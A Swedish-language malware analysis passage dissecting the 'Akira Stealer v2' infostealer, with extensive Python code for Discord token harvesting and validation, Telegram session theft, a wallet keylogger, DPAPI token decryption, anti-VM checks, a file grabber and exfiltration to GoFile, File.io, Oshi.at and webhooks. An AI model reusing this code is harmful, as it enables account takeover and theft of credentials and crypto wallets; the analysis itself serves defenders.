        dest = os.path.join(Utils.get_temp_folder(), "Wallets", name)
        shutil.copytree(path, dest, dirs_exist_ok=True)
        data.desktop_wallets_count += 1
  • Stulen data: Keystore-filer (*.dat, *.json), exporterade privata nycklar, plånbokskonfiguration och transaktionshistorik.
  • Nytta: Plånboksinnehåll offline som angriparen kan använda för att godkänna transaktioner.

7.8.3 Insamling av Discord-token

Discord-token är autentiseringsartefakter, i praktiken långlivade bearer-token, som kan ge fullständig åtkomst till en användares konto utan att kräva autentiseringsuppgifter eller MFA. Akira utnyttjar detta genom att skanna webbläsar- och appdatamappar efter token som lagras av olika Discord-klienter, bland annat Discord Stable, Canary, PTB (Public Test Build) och till och med modifierade forkar som Lightcord.

Tekniken riktar in sig på LevelDB-filer under applikationens Local Storage, där autentiseringstoken ofta finns kvar i klartext. Med hjälp av reguljära uttryck skannar skadeprogrammet dessa .log- och .ldb-filer efter mönster som matchar antingen vanliga användartoken eller MFA-aktiverade token.

För att öka tillförlitligheten och minska bruset innehåller Akira ett valideringssteg: den skickar en testförfrågan till Discords endpoint /users/@me med varje insamlat token. Endast token som lyckas autentisera (HTTP 200) exfiltreras via webhook, vanligtvis till en Discord-kanal som kontrolleras av angriparen.

Den här metoden gör det möjligt för angripare att kapa Discord-konton i realtid, utge sig för att vara offret, skrapa DM:er och guilds, eller sprida ytterligare skadeprogram genom social engineering, allt utan att utlösa inloggningsvarningar.

import re, requests
patterns = [
    r"[\w-]{24}\.[\w-]{6}\.[\w-]{27,100}",  # User tokens
    r"mfa\.[\w-]{84,100}"                      # MFA tokens
]
def harvest_discord(base, webhook_url):
    db_dir = os.path.join(base, "Local Storage", "leveldb")
    for file in os.listdir(db_dir):
        if file.endswith(('.log', '.ldb')):
            for line in open(os.path.join(db_dir, file), errors='ignore'):
                for pat in patterns:
                    for token in re.findall(pat, line):
                        # Verify token
                        h = {"Authorization": token}
                        r = requests.get("https://discordapp.com/api/v9/users/@me", headers=h)
                        if r.status_code == 200:
                            uname = r.json()["username"] + "#" + r.json()["discriminator"]
                            payload = {"content": f"**Discord** {uname}: `{token}`"}
                            requests.post(webhook_url, json=payload)
  • Validering: Skickar bara giltiga token, vilket förhindrar att inaktuella JWT:er skickas.

7.8.4 Telegram-sessionsfiler

Mål: Telegram Desktop/TData

def steal_telegram(tdata_path, dest_root):
    if os.path.exists(tdata_path):
        Utils.TaskKill("telegram.exe")
        dest = os.path.join(dest_root, "Wallets", "Telegram")
        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)
        data.has_telegram = True
  • Filer: mappen tdata som innehåller sessionsnycklar, mappen D877F... med hemliga/icke-hemliga filer.
  • Användning: Laddas in i angriparens Telegram-klient för fullständig kontoåtkomst.

7.8.5 Keylogging av plånböcker i realtid

Kryptovalutaplånböcker är förstahandsmål för moderna infostealers. Akira innehåller en keylogger i realtid som är specifikt utformad för att stjäla plånboksuppgifter som återställningsfraser, privata nycklar och lösenord i det ögonblick de matas in. Till skillnad från generiska keyloggers aktiveras den här bara när ett känt plånboksfönster upptäcks, vilket kraftigt minskar bruset och ökar effektiviteten.

Modulen övervakar aktiva fönstertitlar och jämför dem mot en hårdkodad lista med populära plånboksappar som MetaMask, Phantom, Atomic Wallet och andra. Så snart ett matchande fönster är i fokus börjar den registrera tangenttryckningar via systemomfattande tangentbordshookar. När användaren trycker på Enter fångar modulen omedelbart det aktuella innehållet i urklipp, eftersom användare ofta kopierar hemligheter vid plånboksinstallation eller inloggning, och skickar både den inmatade texten och urklippsdatan till angriparens webhook. Metoden är extremt effektiv eftersom den kombinerar två attackvektorer:

  • Kontextmedveten keylogging, för att fånga känsliga plånboksinmatningar bara när det är relevant.
  • Kapning av urklipp, för att extrahera kopierade återställningsfraser eller mottagaradresser innan de klistras in.

Tillsammans gör de här metoderna det möjligt för angripare att i tysthet kompromettera plånböcker i realtid, även utan webbläsaråtkomst eller filexfiltrering.

import keyboard, pyperclip

class WalletKeylogger:
    def __init__(self, wallet_titles):
        self.buf = ""
        keyboard.on_release(self.capture)
        self.wallet_titles = wallet_titles

    def capture(self, event):
        title = pygetwindow.getActiveWindow().title
        if any(w in title for w in self.wallet_titles):
            if event.name == 'enter':
                data = f"Keys:{self.buf}\nClip:{pyperclip.paste()}"
                send_to_webhook(data)
                self.buf = ""
            else:
                self.buf += event.name
  • Utlösarlista: Fönstertitlar inklusive "MetaMask", "Phantom", "Atomic Wallet" med flera.
  • Urklipp: Fångar kopierade återställningsfraser eller privata nycklar.

7.8.6 Paketering och exfiltrering

När webbläsardata, autentiseringsuppgifter, plånboksinformation och token har samlats in går Akira vidare med att konsolidera och exfiltrera bytet på ett mycket automatiserat och smygande sätt. Det här steget markerar det sista ledet i infektionskedjan och är optimerat för tillförlitlighet och minimalt forensiskt fotavtryck. Först komprimeras all insamlad data, inklusive webbläsardumpar, loggar och keyloggad plånboksinformation, till ett ZIP-arkiv. Det säkerställer att hela datamängden kan överföras som en enda nyttolast. Arkivet laddas sedan upp till flera publika fildelningstjänster som GoFile, File.io eller Oshi.at, beroende på tillgänglighet. De här plattformarna erbjuder anonym, tillfällig hosting och används ofta för att kringgå företagsbrandväggar eller ryktesbaserad blockering. Samtidigt genereras en strukturerad rapport som skickas till angriparen via en Discord- eller Telegram-webhook. Den innehåller sammanfattande statistik, det vill säga hur många plånböcker som hittades, hur många token som var giltiga och en direktlänk till den stulna datan. Det ger angripare en snabb överblick över målets värde utan att öppna arkivet.

Till sist raderar skadeprogrammet den temporära mappen och arkivet från disken, vilket i praktiken tar bort lokala forensiska spår. När en försvarare upptäcker infektionen är datan redan borta, och ofta omöjlig att återfå.

# 1) ZIP everything (including Wallets folder)
zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())
# 2) Attempt upload to primary & fallback services
url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)
# 3) Report summary
embed = {
    "title": "💰 Wallet & Token Exfiltration Report",
    "fields": [
        {"name": "Extension Wallets", "value": data.ext_wallets_count},
        {"name": "Desktop Wallets",   "value": data.desktop_wallets_count},
        {"name": "Discord Tokens",    "value": len(valid_tokens)},
        {"name": "Telegram Sessions", "value": data.has_telegram},
        {"name": "Archive Link",      "value": url or "[upload failed]"},
    ]
}
Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)
# 4) Cleanup local folder & ZIP
Utils.clear_client_folder()

7.9. Stöld av Discord- och Telegram-token (klass: Discord)

Akira Stealer v2:s Discord-klass kör en starkt parallelliserad process i flera steg för att skörda både Discord-auktoriseringstokens och Telegram-sessionsdata. Nedan bryter vi ner varje komponent med exakta kodreferenser och illustrativa exempel.

7.9.1 Initialization & Path Enumeration

Vid instansiering bygger konstruktorn två uppsättningar målsökvägar:

# Discord client LevelDB directories
discord_paths = [
    [f"{self.ROAMING}/Discord", "/Local Storage/leveldb"],
    [f"{self.ROAMING}/Lightcord", "/Local Storage/leveldb"],
    ...
]

# Chromium-based browser LevelDB directories
browserPaths = [
    [f"{self.ROAMING}/Opera Software/Opera GX Stable", "opera.exe", "/Local Storage/leveldb", ...],
    [f"{self.LOCAL}/Google/Chrome/User Data", "chrome.exe", "/Default/Local Storage/leveldb", ...],
    ...
]
  • Discord Paths riktar in sig på officiella och inofficiella Discord-klienter under %APPDATA%.
  • Browser Paths täcker användardatamappar för populära webbläsare, inklusive undermappar för local storage och tillägg.

Trådar startas för varje post:

for patt in browserPaths:
    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])
    t.start()
for patt in discord_paths:
    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])
    t.start()

Denna trådmodell maximerar I/O-genomströmningen och sonderar dussintals kataloger samtidigt.

7.9.2 Token Extraction Logic

Plaintext Token Scraping from Browsers

get_btoken(path, arg) navigerar till varje LevelDB-mapp och inspekterar .log- och .ldb-filer:

for file in os.listdir(path + arg):
    if file.endswith((".log", ".ldb")):
        for line in open(f"{path}{arg}/{file}", errors="ignore"):
            for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", r"mfa\.[\w-]{80,95}"):
                tokens = re.findall(regex, line)
                for token in tokens:
                    self.tokens.append(token)
                    self.cehckToken(token)
  • Regex [\w-]{24}\.[\w-]{6}\.[\w-]{25,110} matchar vanliga Discord-tokens.
  • Regex mfa\.[\w-]{80,95} fångar MFA-tokens.
  • Deduplicering sker implicit: tokens lagras i self.tokens före validering.

Encrypted Token Decryption in Discord Client

Discords klient krypterar Local Storage-poster under DPAPI, med prefixet v10 eller v11. get_discord(path, arg) hanterar detta:

# Read Local State to obtain encrypted master key
with open(path + "/Local State", 'r') as f:
    local_state = json.load(f)
encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]
master_key = self.CryptUnprotectData(encrypted_key)

# Iterate LevelDB files for Base64 payloads
for file in os.listdir(path + arg):
    if file.endswith((".log", ".ldb")):
        for line in open(f"{path}{arg}/{file}"):
            for token_part in re.findall(r"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)", line):
                ciphertext = b64decode(token_part)
                token = self.decrypt_value(ciphertext, master_key)
                self.tokens.append(token)
                self.cehckToken(token)
  • Master Key Recovery: Skalar bort den 5 byte långa DPAPI-headern och anropar sedan CryptUnprotectData (som omsluter Windows DPAPI) för att dekryptera AES-GCM-nyckeln.
  • Payload Parsing: Tokens har prefixet dQw4w9WgXcQ: (en markör som angriparen valt). Efter Base64-avkodning delar decrypt_value() upp IV och ciphertext:
    def decrypt\_value(buff, master\_key):
    iv = buff\[3:15]
    payload = buff\[15:]
    cipher = AES.new(master\_key, AES.MODE\_GCM, iv)
    return cipher.decrypt(payload)\[:-16].decode()
    

7.9.3 Token Validation & Exfiltration

Varje extraherad token valideras via ett live-API-anrop:

headers = {"Authorization": token}
resp = requests.get("https://discordapp.com/api/v9/users/@me", headers=headers)
if resp.status_code == 200:
    self.cehckToken(token)
  • Vid lyckat svar avgör cehckToken() om den ska skickas via Telegram (useTg=True) eller Discord-webhook:
    if useTg:
    self.sendTokenTg(token)
    else:
    self.send\_embed(token)
    
  • send_embed bygger en rik Discord-embed som innehåller användarens metadata (username, discriminator, e-post, Nitro-status, faktureringsinfo) med fält från
user_json = requests.get(...).json()
username = user_json["username"]
id = user_json["id"]
# embed fields: token, email, phone, IP, flags, Nitro, billing
  • sendTokenTg skickar en sammanfattning i klartext via Telegram-API:et.

7.9.4 Telegram Session Harvesting

Utöver Discord-tokens tar stealern även Telegram Desktop-sessioner:

@staticmethod
def steal_telegram():
    src = f"{os.getenv('APPDATA')}/Telegram Desktop/tdata"
    Utils.TaskKill("telegram.exe")
    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), "Telegram"))
  • Process Termination: Säkerställer att fillås släpps.
  • Recursive Copy: Stjäl tdata-mappen, inklusive användarsessioner, kontakter och cachade meddelanden.
  • Exfiltration: Den stulna mappen zippas och laddas upp via sendFilesTG(), med nedladdningslänken inbäddad i ett Telegram-meddelande.

Akira Stealers Discord-modul kombinerar regex-baserad scraping, DPAPI-underbyggd AES-GCM-dekryptering, live-API-validering och exfiltrering över flera protokoll (webhook + Telegram) för att leverera en smidig förmåga till kontoövertagande på både Discord och Telegram.

7.10 Systemprofilering

Akira Stealer v2 innehåller en omfattande systemprofileringsfas för att samla in värdmetadata, miljöattribut och nätverksdetaljer. Denna information sammanställs i klassen Data och paketeras senare tillsammans med de exfiltrerade autentiseringsuppgifterna. Nedan bryter vi ner profileringslogiken med direkta kodreferenser.

7.10.1 Data Class Initialization

Vid start skapas en instans av Data:

class Data:
    def __init__(self):
        self.username = os.getlogin()
        self.computerName = os.getenv("computername") or "Unable to get computer name"
        self.system_info = f"Computer Name: {self.computerName}\n..."
        ...
        self.ip = requests.get(url="https://api.ipify.org").text
        ipdata = json.loads(requests.post(url=f"http://ip-api.com/json/{self.ip}").text)
        self.country = ipdata.get("country")
        self.countryCode = ipdata.get("countryCode", "").lower()
  • Username & Hostname: Hämtas via os.getlogin() och miljövariabeln COMPUTERNAME.
  • IP Address: Hämtas med requests.get("https://api.ipify.org") och geolokaliseras sedan via ip-api.com för land och ISO-kod.

7.10.2 OS and Hardware Enumeration

Med hjälp av WMI-kommandon (Windows Management Instrumentation):

# Operating System
self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout
# Total Physical Memory
self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)
# BIOS UUID
self.uuid = subprocess.run('wmic csproduct get uuid', ...)
# CPU Identifier
self.cpu = subprocess.run("powershell Get-ItemPropertyValue -Path 'HKLM:System...\Processor_Identifier'", ...)
# GPU Name
self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)
# Windows Product Key
self.productKey = subprocess.run("powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault", ...)

Resultaten tolkas till läsbara strängar (strip(), indexoperationer) och sammanfogas till:

self.system_info = (
    f"Computer Name: {self.computerName}\n"
    f"Total Memory: {self.totalMemory}\n"
    f"CPU: {self.cpu}\n"
    f"GPU: {self.gpu}\n"
    f"Product Key: {self.productKey}"
)

7.10.3 VM Detection & Anti-Sandbox Checks

Innan den djupare profileringen anropar skadeprogrammet VmProtect.isVM(level) för att upptäcka virtualiserings- eller analysmiljöer:

if VmProtect.isVM(1):
    sys.exit()

Viktiga kontroller inkluderar:

  • Registry Keys & Driver Descriptors: Frågar efter virtualiseringsrelaterade registerposter.
  • Blacklisted UUIDs & Computer Names: Matchar mot kända VM-fingeravtryck.
  • HTTP Simulation: Försöker ansluta till en obefintlig domän över HTTPS.
  • Process Blacklist: Startar en bakgrundstråd som avslutar verktyg som wireshark, ollydbg, ida64.

7.10.4 Packaging & Transmission

Den insamlade system_info, IP-adressen och landsflaggan bäddas in i headerns för webhook-payloaden:

webhook_payload = {
    "embeds": [{
        "title": f"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}",
        "description": description + "\n```⚙️ System Info\n" + self.system_info + "```",
        "fields": [...]
    }]
}
requests.post(self.webhook_url, json=webhook_payload)
  • Flag Emoji: Härleds från ISO-landskoden.
  • Fields: Innehåller antal stulna lösenord, cookies etc., men systeminformationen ligger i embedens description för omedelbar kontext.

Summary: Systemprofileringen i Akira Stealer v2 samlar in omfattande värd- och nätverksdata via WMI-kommandon, miljövariabler och IP-geolokalisering. Kombinerat med VM-detektering och rutiner som dödar verktyg säkerställer detta att angriparen har en fullständig ögonblicksbild av den komprometterade miljön, vilket förbättrar riktade uppföljningsåtgärder och sorterar bort analyssandboxar.

7.11 Filinsamlare (klass: Utils.steal_files)

Utöver webbläsardata och tokens försöker Akira också extrahera värdefullt användargenererat innehåll, som dokument, kalkylark, privata anteckningar och kryptografiska nyckelfiler. File Grabber-modulen ansvarar för denna uppgift. Den fungerar genom att skanna kataloger med högt värde efter vanliga filtyper och mönster och lägger sedan tyst till dem i exfiltreringspaketet. Det som gör denna modul särskilt farlig är dess enkelhet och fokus: den försöker inte genomsöka hela filsystemet. Istället riktar den in sig på specifika, sannolika platser där känsliga filer vanligtvis lagras. Dit hör katalogerna Desktop, Documents, Downloads och OneDrive, var och en relativt användarens hemsökväg. Detta fokuserade tillvägagångssätt förbättrar både hastighet och smyghet och minskar sannolikheten för upptäckt under skanningen. Det undviker också att varna användaren genom att inte komma åt system- eller skyddade kataloger. När filer av intresse har lokaliserats kopieras de till en temporär mapp, döps eventuellt om eller grupperas, och komprimeras senare till det slutliga ZIP-arkivet som laddas upp i exfiltreringsfasen.

7.11.1 Target Directories Enumeration

Stealern fokuserar på fyra mappar med hög avkastning:

searchFolders = [
    "Desktop",
    "Documents",
    "Downloads",
    "OneDrive"
]

Varje mapp tolkas relativt offrets hemkatalog:

for folder in searchFolders:
    current_path = os.path.join(os.environ['USERPROFILE'], folder)
    if os.path.exists(current_path):
        # proceed to scan

7.11.2 Keyword & Extension Filtering

Keyword List

En fördefinierad uppsättning delsträngar styr filurvalet. Endast filnamn som innehåller minst ett nyckelord beaktas:

keywordsFiles = [
    "passw", "seed", "mnemo", "phrase", "login", "wallet",
    "crypto", "token", "backup", "secret", "account"
]
  • Partial Matches: Nyckelord som passw fångar både passwords.txt och passw_backup.docx.
  • Broad Coverage: Omfattar termer som rör autentisering, wallet, krypto och tokens.

7.11.3 Allowed File Types

För att minimera brus tillämpas en vitlista av filändelser:

allowed_extensions = [
    ".txt", ".doc", ".docx", ".pdf", ".csv", ".xls", ".xlsx",
    ".jpg", ".png"
]

7.11.3 Size Constraint

Filer större än 2 megabyte hoppas över för att optimera exfiltreringshastigheten och undvika stora överföringar:

file_size_mb = os.path.getsize(full_path) / (1024 * 1024)
if file_size_mb <= 2:
    # eligible for copy

7.11.4 Recursive Scanning & Copy Logic

När katalogerna med högt värde har identifierats inleder Akira en rekursiv skanningsrutin som traverserar undermappar och lokaliserar filer som matchar specifika nyckelord och filändelser. Denna fas är byggd för precision och smyghet: endast filer som matchar fördefinierade kriterier, som filnamn med känsliga nyckelord och godkända filtyper, beaktas. Logiken säkerställer att endast relevant, användargenererat innehåll exfiltreras. Den ignorerar systemfiler, cachar och binärer och begränsar storleken på enskilda filer till 2 MB för att minska uppladdningsstorlek och risk för upptäckt. Denna skanningsmetod är tyst, effektiv och optimerad för smygande datastöld i verkliga miljöer. Genom att kopiera matchande filer till en staging-mapp och föra en lista över vad som togs förbereder Akira innehållet för paketering och exfiltrering, samtidigt som duplicering och operativt brus minimeras.

Kärnrutinen steal_files() fungerar enligt följande:

@staticmethod
def steal_files():
    stolen_files = set()
    temp_folder = Utils.get_temp_folder()

    for folder in searchFolders:
        current_path = os.path.join(os.environ['USERPROFILE'], folder)
        if os.path.exists(current_path):
            for root, _, files in os.walk(current_path):
                for file in files:
                    lower = file.lower()
                    # Keyword check
                    if any(keyword in lower for keyword in keywordsFiles):
                        ext = os.path.splitext(lower)[1]
                        # Extension and size check
                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) <= 2 * 1024 * 1024:
                            # Prepare destination
                            files_dir = os.path.join(temp_folder, "Files")
                            os.makedirs(files_dir, exist_ok=True)
                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))
                            stolen_files.add(file)
    data.stolen_files.extend(stolen_files)

Key points:

  1. os.walk: Går rekursivt ner i underkataloger.
  2. Case-insensitive matching: Filnamn normaliseras via lower().
  3. Atomic copy: Använder shutil.copy för att bevara filinnehållet.
  4. Set of stolen filenames: Förhindrar dubbelkopior när samma fil förekommer två gånger.
  5. Integration with Data: data.stolen_files samlar den stulna fillistan för senare rapportering.

7.11.5 Archiving and Exfiltration

Efter insamlingen zippas Files-mappen och skickas iväg:

# Archive
Utils.zip_client_file()  # creates CLIENT.zip from temp_folder

# Upload & Notify
akira.sendFilesTG(Utils.get_temp_folder(), startup)
hook.sendFilesTG(Utils.get_temp_folder(), startup)
  • zip_client_file(): Komprimerar hela temp-katalogen, inklusive Files, Cookies, Passwords etc.
  • sendFilesTG(): Postar nedladdningslänken via Telegram eller Discord-webhook och listar varje stulet filnamn:
    fields.append({
    "name": "📂 Files",
    "value": "`" + "\n".join(data.stolen_files) + "`",
    "inline": False
    })
    

Conclusion:

File Grabber i Akira Stealer v2 letar systematiskt efter känsliga dokument med hjälp av nyckelords- och filändelsefilter, respekterar en storleksgräns på 2 MB för effektivitet och konsoliderar stulna objekt i ett arkiv. Dess design säkerställer både bredd (flera mappar) och precision (riktade filter), vilket gör den till en av de mest impactfulla faserna i skadeprogrammets livscykel.

7.12 Exfiltreringsstrategi

Exfiltreringsmodulen hanterar skördade tokens och ytterligare artefakter (cookies, autofills, loggar) genom att stage:a dem i en strukturerad katalog, komprimera dem till ett arkiv, ladda upp till flera onlinefilvärdar och skicka detaljerade webhook-notifieringar. Detta avsnitt dekonstruerar varje steg med filsökvägar, domänendpoints och kodreferenser för full spårbarhet.

7.12.1 Directory Layout & Filenames

Akira organiserar alla insamlade artefakter i en ren och hierarkisk temporär katalogstruktur. Denna design möjliggör effektiv paketering och enkel granskning efter exfiltrering hos angriparen. Varje datakategori, som Tokens, Cookies, Passwords eller Screenshots, lagras i sin egen undermapp under en rotsökväg uppkallad efter offrets dator (t.ex. DESKTOP1234). Denna strukturerade layout ger tydlighet, minimerar duplicering och effektiviserar arkiverings- och uppladdningsprocessen. Den gör också automatiserad tolkning eller manuell inspektion mycket enklare på angriparens sida.

C:\Users\User\AppData\Local\Temp\DESKTOP1234\
├─ Tokens\
│   ├ token_ab12cd34.txt
│   └ token_ef56gh78.txt
├─ Cookies\
│   ├ Chrome_Cookies.txt
│   └ Discord_Cookies.txt
├─ Autofill\
├─ Passwords\
├─ Logs\
└─ Screenshots\

7.12.2 Token & Artifact Staging

Före exfiltrering stage:ar Akira alla relevanta artefakter i motsvarande undermappar. Token-värden skrivs till exempel till enskilda .txt-filer för att underlätta snabb skanning och validering. Cookies, autofill-poster och lösenord skrivs på liknande sätt till strukturerade textfiler namngivna efter webbläsare. Detta steg standardiserar datalayouten och gör det möjligt för automatiserade verktyg att spåra vad som skördats. Det säkerställer också att zip-arkivet senare speglar ett förutsägbart och angriparvänligt format, oavsett vilka moduler som utlöstes.

import os, shutil
# Constants
TMP = os.getenv('TEMP')
ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))
# Prepare structure
for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:
    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)
# Save token
with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:
    f.write(token)
  • Tokens sparas i separata små textfiler för snabb inspektion.
  • Cookie-dumpar från Chromium.GetCookies() skrivs till {Browser}_Cookies.txt.

7.13.3 ZIP Archive Creation

När staging är klar komprimerar Akira hela katalogen till ett enda ZIP-arkiv. Arkivets filnamn följer en konsekvent namnkonvention: _.zip, med värdens datornamn och en UTC-tidsstämpel i ISO 8601-format. Detta säkerställer både unikhet och kronologisk spårbarhet. Genom att gå igenom hela staging-katalogen rekursivt bevaras varje fil i sin relativa struktur inuti ZIP-arkivet. Detta format förenklar massuthämtning och inspektion för angripare, särskilt om hundratals offer komprometteras parallellt.

import zipfile, datetime

def create_archive(root_dir: str) -> str:
    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')
    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'
    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)
    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:
        for dirpath, _, files in os.walk(root_dir):
            for fname in files:
                full = os.path.join(dirpath, fname)
                rel = os.path.relpath(full, root_dir)
                zf.write(full, rel)
    return zip_path
  • Arkivet namnges DESKTOP1234_20250505T123456Z.zip för värdkoherens.

ZIP Filename Convention

Arkivet namnges med den komprometterade värdens datornamn följt av en UTC-tidsstämpel i ISO-format, vilket säkerställer unikhet och kronologisk ordning.

import datetime, os

def create_archive(root_dir: str) -> str:
    # Generate UTC timestamp in YYYYMMDDThhmmssZ format
    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')
    # Construct ZIP filename: <ComputerName>_<Timestamp>.zip
    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'
    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)
    return zip_path

Arkivet namnges med den komprometterade värdens datornamn följt av en UTC-tidsstämpel i ISO-format, vilket säkerställer unikhet och kronologisk ordning.

7.14.4 Upload Workflow

Akira använder en trestegsstrategi för uppladdning för att maximera chansen till lyckad dataexfiltrering. Den försöker först ladda upp arkivet till GoFile.io via deras publika API, som returnerar en nedladdningslänk. Om GoFile inte är tillgängligt eller blockeras faller den tillbaka på File.io och sedan Oshi.at, vilket säkerställer att data alltid överförs. Dessa tjänster erbjuder anonym, kortlivad hosting, vilket gör nedtagning och spårbarhet svår. Skriptet fångar den slutliga nedladdnings-URL:en och förbereder den för webhook-leverans.

  1. Primary: GoFile.io
    • API to fetch servers: GET https://api.gofile.io/servers
    • Upload endpoint: POST https://<server>.gofile.io/contents/uploadfile
    • Response field: data.downloadPage innehåller den slutliga URL:en.
  2. Fallback #1: File.io
    • Upload endpoint: POST https://file.io/ med files={'file': open(...)}
    • Response: JSON-fältet link.
  3. Fallback #2: Oshi.at
    • Upload endpoint: POST http://oshi.at/ med files[] och parametrarna expire=43200, autodestroy=0.
    • Response: Klartext som innehåller DL: <url>.

Implementation Snippet:

import requests

def upload_with_fallback(zip_path):
    # GoFile
    try:
        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']
        for srv in servers:
            try:
                r = requests.post(
                    f'https://{srv}.gofile.io/contents/uploadfile',
                    files={'file': open(zip_path,'rb')}, timeout=20)
                url = r.json()['data']['downloadPage']
                if url: return url
            except: continue
    except: pass
    # File.io
    try:
        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)
        return r.json().get('link','')
    except: pass
    # Oshi.at
    try:
        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text
        return text.split('DL: ')[1].strip()
    except: pass
    return ''

7.15.5 Webhook Alerts, Attacker Retrieval & Analyst Visibility Limits

Efter att ZIP-arkivet laddats upp skickar Akira en webhook-notifiering, vanligtvis till Discord eller Telegram, med en strukturerad embed som innehåller detaljerad information: antal stulna tokens, cookie-antal, filstorlek och en klickbar nedladdningslänk. Detta ger angripare omedelbar återkoppling och åtkomst till uthämtning. För att säkerställa tillförlitlighet skickas även ett fallback-meddelande i klartext som bara innehåller arkivlänken. Denna redundans garanterar leverans, även om embeden blockeras av plattformen eller filtreras bort. Ur försvararens perspektiv är denna kommunikation ofta osynlig om inte utgående nätverksövervakning finns på plats.

Embed Notification

# Build embed with key metadata
token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))
fields = [
    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},
    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},
    {'name':'🔑 Tokens','value':str(token_count),'inline':True},
    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},
    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},
]
payload = {
    'username':'Akira 💊',
    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]
}
requests.post(webhook_url, json=payload, timeout=8)
  • Delivery: Skickas till angriparens Discord-/Telegram-kanal.
  • Embed Link: Innehåller en klickbar download_url som pekar på ZIP-filen på GoFile (eller en fallback-värd).

Raw Link Fallback

# Ensure attacker always has direct URL, even if embeds fail
message = f"📥 Archive available at: {download_url}"
requests.post(webhook_url, data={'message': message}, timeout=8)
  • Plain Text: Garanterar att länken levereras om embeds blockeras eller tyst slängs.

How the Attacker Retrieves the Link

1. Webhook Infrastructure Angriparen bäddar in webhook-endpointen i skadeprogrammets konfiguration:

# at class initialization
self.default_webhook = "%DISCORD_OR_TG_WEBHOOK_URL%"
  • Discord: https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>
  • Telegram: https://api.telegram.org/bot<TELEGRAM_TOKEN>/sendMessage

2. Real-Time Delivery Omedelbart efter en lyckad filuppladdning kör skadeprogrammet:

payload = {
  'username': 'Akira 💊',
  'embeds': [{
      'title': '🗄️ Exfiltration Complete',
      'fields': [
          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}
      ]
  }]
}
# Transmit the archive URL entirely in the JSON body
requests.post(self.default_webhook, json=payload, timeout=8)
  • Variabeln download_url interpoleras in i embedens fields.value.
  • För Telegram-fallback dyker download_url upp i klartextparametern message.

3. EDR & Forensic Visibility Limitations

  • No Local Logging: Skadeprogrammet skriver inte download_url till disk eller systemloggar.
  • EDR Blind Spots: Verktyg som Microsoft Defender for Endpoint kan flagga HTTP-anropsförsöket men kan inte extrahera den inbäddade URL:en.

4. Why the Analyst Cannot Recover This Locally:

  • No Local Copy of Link: Skadeprogrammet skriver download_url endast i minnet och överför den över nätverket; det sparar inte denna URL till disk eller loggar.
  • Ephemeral Staging Cleanup: Omedelbart efter uppladdning kör koden:
    shutil.rmtree(ROOT),
    vilket raderar alla stage:ade artefakter (inklusive eventuella temporära textfiler) från %TEMP%.
  • Network-Only Transmission: Webhook-anropen (requests.post) sker i minnet; inga HTTP-loggar eller poster i webbläsarhistoriken skapas på offrets dator.

Implication for Analysts: Utan live paketfångst (t.ex. nätverks-TAP eller proxy) vid tidpunkten för exekvering går den exakta download_url inte att återskapa efter infektionen. Dessutom raderas det exfiltrerade arkivet automatiskt från hostingtjänsten, vilket ytterligare minskar fönstret för forensisk uthämtning. Imaging efter infektionen eller värdbaserad forensisk återställning kommer inte att avslöja angriparens URL eller filvärdens autentiseringsuppgifter, eftersom inga artefakter finns kvar lokalt.

7.13 Slutsats

astor.py (Akira Stealer v2) är en omfattande, kommersiellt distribuerad stealer-verktygslåda. Den kombinerar bred inriktning, sofistikerad anti-analys, dynamisk infrastrukturkontroll och full-stack-datastöld över autentiseringsuppgifter, krypto, systemprofilering och användarfiler. Dess modularitet och smyghet, i kombination med snabba metoder för återinfektion, gör den till en av de mest tekniskt avancerade stealers som observerats i aktiv användning.

8. Cirkulär exekveringskedja: en självläkande loop

Ett av de mest tekniskt avancerade elementen i den här kampanjen är dess regenerativa, cirkulära exekveringsmodell. Till skillnad från konventionell malware med linjära steg som går från dropper till payload och sedan försvinner, konstruerades den här operationen som en closed loop, där varje komponent bevakar de andra.

Den här självläkande arkitekturen gjorde infektionskedjan inte bara beständig, utan också autonom. Den kunde återhämta sig helt från partiella borttagningar. Så länge en enda del förblev vid liv kunde hela malware-ekosystemet sätta ihop sig självt igen.

8.1 Beteendeanalys

